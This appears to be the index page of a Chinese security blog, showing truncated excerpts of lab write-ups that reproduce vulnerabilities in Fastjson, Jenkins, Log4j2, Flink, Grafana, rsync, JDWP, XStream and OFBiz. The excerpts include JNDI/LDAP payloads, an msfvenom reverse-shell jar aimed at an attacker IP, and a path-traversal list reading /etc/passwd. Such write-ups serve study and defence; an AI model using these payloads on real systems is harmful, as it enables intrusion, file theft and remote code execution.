Fastjson 1.2.25-1.2.47反序列化漏洞分析
checkAutoType补丁分析在Fastjson1.2.25中使用了checkAutoType来修复1.2.22-1.2.24中的漏洞,其中有个autoTypeSupport默认为False。当autoTypeSupport为False时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错。当autoTypeSupport为True时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤。对于开启或者不开启,都有相应的绕过方法。
补丁绕过(需要开启AutoTypeSupport)这里需要使用如下代码开启AutoTypeSupport
1ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
1.2.25-1.2.41补丁绕过漏洞复现payload:
1{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNa ...
Fastjson 1.2.22-1.2.24反序列化漏洞分析
Fastjson简介Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
项目地址:https://github.com/alibaba/fastjson
Fastjson序列化与反序列化序列化Student.java
12345678910111213141516171819202122232425262728public class Student { private String name; private int age; public Student() { System.out.println("构造函数"); } public String getName() { System.out.println("getName&q ...
Jenkins未授权访问漏洞
漏洞简介Jenkins是一个功能强大的应用程序,允许持续集成和持续交付项目,无论用的是什么平台。这是一个免费的源代码,可以处理任何类型的构建或持续集成。集成Jenkins可以用于一些测试和部署技术。Jenkins是一种软件允许持续集成。
如果jenkins 未设置帐号密码,或者使用了弱帐号密码,攻击者就能访问管理控制台,可以通过脚本命令行模块执行系统命令。
环境搭建12wget http://mirrors.jenkins.io/debian/jenkins_1.621_all.deb # 下载dpkg -i jenkins_1.621_all.deb # 安装
如果出现以下报错
再执行
12sudo apt-get -f --fix-missing install # 如果有报依赖项的错误时执行(解决上图报错)dpkg -i jenkins_1.621_all.deb # 重新安装
访问8080端口即可访问Jenkins服务
漏洞复现由于未设置密码,所以可以直接进入
访问http://192.168.159.131:8080/manage进入管理控制台,进入脚本命令行
可通 ...
CVE-2021-44228 Log4j2反序列化漏洞
漏洞简介Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。
此次漏洞触发条件为只要外部用户输入的数据会被日志记录,即可造成远程代码执行,该漏洞影响 Apache Log4j2 < 2.15.0版本。
环境搭建这里可以直接使用vulhub复现
12cd /vulhub/log4j/CVE-2021-44228docker-compose up -d
漏洞复现首先使用JNDI-Injection-Exploit启动一个服务端,希望执行touch /tmp/hack.txt命令:
1java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/hack.txt"
输入payload:
1http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap: ...
Apache Flink Dashboard未授权访问导致任意Jar包上传漏洞
漏洞简介Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布、数据通信以及容错机制等功能。基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任务。
Apache Flink <= 1.9.1时Dashboard默认没有用户权限认证,攻击者可以未授权进入Flink Dashboard控制台直接上传木马jar包,远程执行任意系统命令获取服务器权限。
环境搭建这里可以使用vulhub的flink复现
12cd /vulhub/flink/CVE-2020-17518docker-compose up -d
漏洞复现访问8081端口即可
使用msf生成一个jar后门
1msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.159.128 LPORT=4444 -f jar > test.jar
启用msf
12345use exploit/multi/handlerset payload java/shell/reverse_tcp set LHOST 192. ...
Grafana未授权访问漏洞
漏洞简介Grafana v8.0.0-beta1到v8.3.0 API 存在任意文件读取漏洞,这个漏洞出现在插件模块中,这个模块支持用户访问插件目录下的文件,但因为没有对文件名进行限制,攻击者可以利用../的方式穿越目录,读取到服务器上的任意文件。
字典爆破存在问题的插件123456789101112131415161718192021222324252627282930313233343536373839404142434445464748/public/plugins/alertGroups/../../../../../../../../etc/passwd/public/plugins/alertlist/../../../../../../../../etc/passwd/public/plugins/alertmanager/../../../../../../../../etc/passwd/public/plugins/annolist/../../../../../../../../etc/passwd/public/plugins/barchart/../../.. ...
rsync未授权访问漏洞
漏洞简介rsync是Linux/Unix下的一个远程数据同步工具,可通过LAN/WAN快速同步多台主机间的文件和目录,默认运行在873端口。由于配置不当,导致任何人可未授权访问rsync,上传本地文件,下载服务器文件。
rsync未授权访问带来的危害主要有两个:一是造成了严重的信息泄露;二是上传脚本后门文件,远程命令执行。
环境搭建12cd vulhub-master/rsync/commondocker-compose up -d
漏洞复现rsync未授权访问漏洞只需使用rsync命令即可进行检测。首先使用nmap或其他工具对目标服务器进行端口扫描,当检测到目标服务器开放873端口后,使用rsync命令,查看是否能获取到模块名列表(需要同步的目录),然后查看模块内的文件,rsync未授权访问漏洞的检测就是如此简单。
nmap扫描目标系统是否开放rsync服务
1nmap -sT -sV 127.0.0.1 -p 873
使用如下两条命令之一,列出目标服务器的同步目录
1234rsync 127.0.0.1::rsync rsync://127.0.0 ...
JDWP远程命令执行漏洞
基本概念JPDAJPDA(Java Platform Debugger Architecture)即Java平台调试体系架构,其整体架构如图:
整体分为三层:
JVMTI:Java VM Tool Interface即JVM工具接口。Debuggee即被调试者是由被调试的应用程序(未显示)、运行应用程序的VM和调试器后端组成。为了可远程调试,JVM实例必须使用命令行参数-Xdebug以及参数-Xrunjdwp(或-agentlib)显式启动。其中调试器后端是使用JVMTI来定义JVM提供的调试服务;
JDWP:Java Debug Wire Protocol是Debugger和JVM实例之间的通信协议;
JDI:Java Debug Interface即Java调试接口,是JDWP协议的客户端,调试器通过其来远程调试目标JVM中的应用;
JDWPJDWP(Java Debugger Wire Protocol)即Java调试线协议,是一个为Java调试而设计的通讯交互协议。在JPDA(Java Platform Debugger Architecture)中,它定义了调试器(De ...
CVE-2020-26217&CVE-2020-26259 Xstream远程代码执行&任意文件删除漏洞分析
影响范围Xstream <= 1.4.14
CVE-2020-26217漏洞复现
poc:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.X ...
CVE-2021-30128 Apache OFBiz反序列化漏洞分析
影响版本Apache OFBiz < 17.12.07
环境搭建这里使用Apache OFBiz 17.12.06、jdk8u202搭建环境,配置如下
然后编译即可
编译完成后会生成一个build目录
然后配置JAR Application
这里的jre版本是OFBiz运行版本,上面的8u202是Gradle编译时用的版本
漏洞分析diff如下
可以看到这里新增了黑名单DEFAULT_DENYLIST,内容为rmi和<,猜测可能是处理数据时出现的安全问题。和CVE-2021-26295一样,在framework\webapp\src\main\java\org\apache\ofbiz\webapp\event\SOAPEventHandler.java#invoke开始
跟进SoapSerializer#deserialize
跟进XmlSerializer#deserialize
跟进Xmlserializer#deserializeSingle
这里面判断了是否为某种标签然后做出特定处理,最后return deserializeCustom(elem ...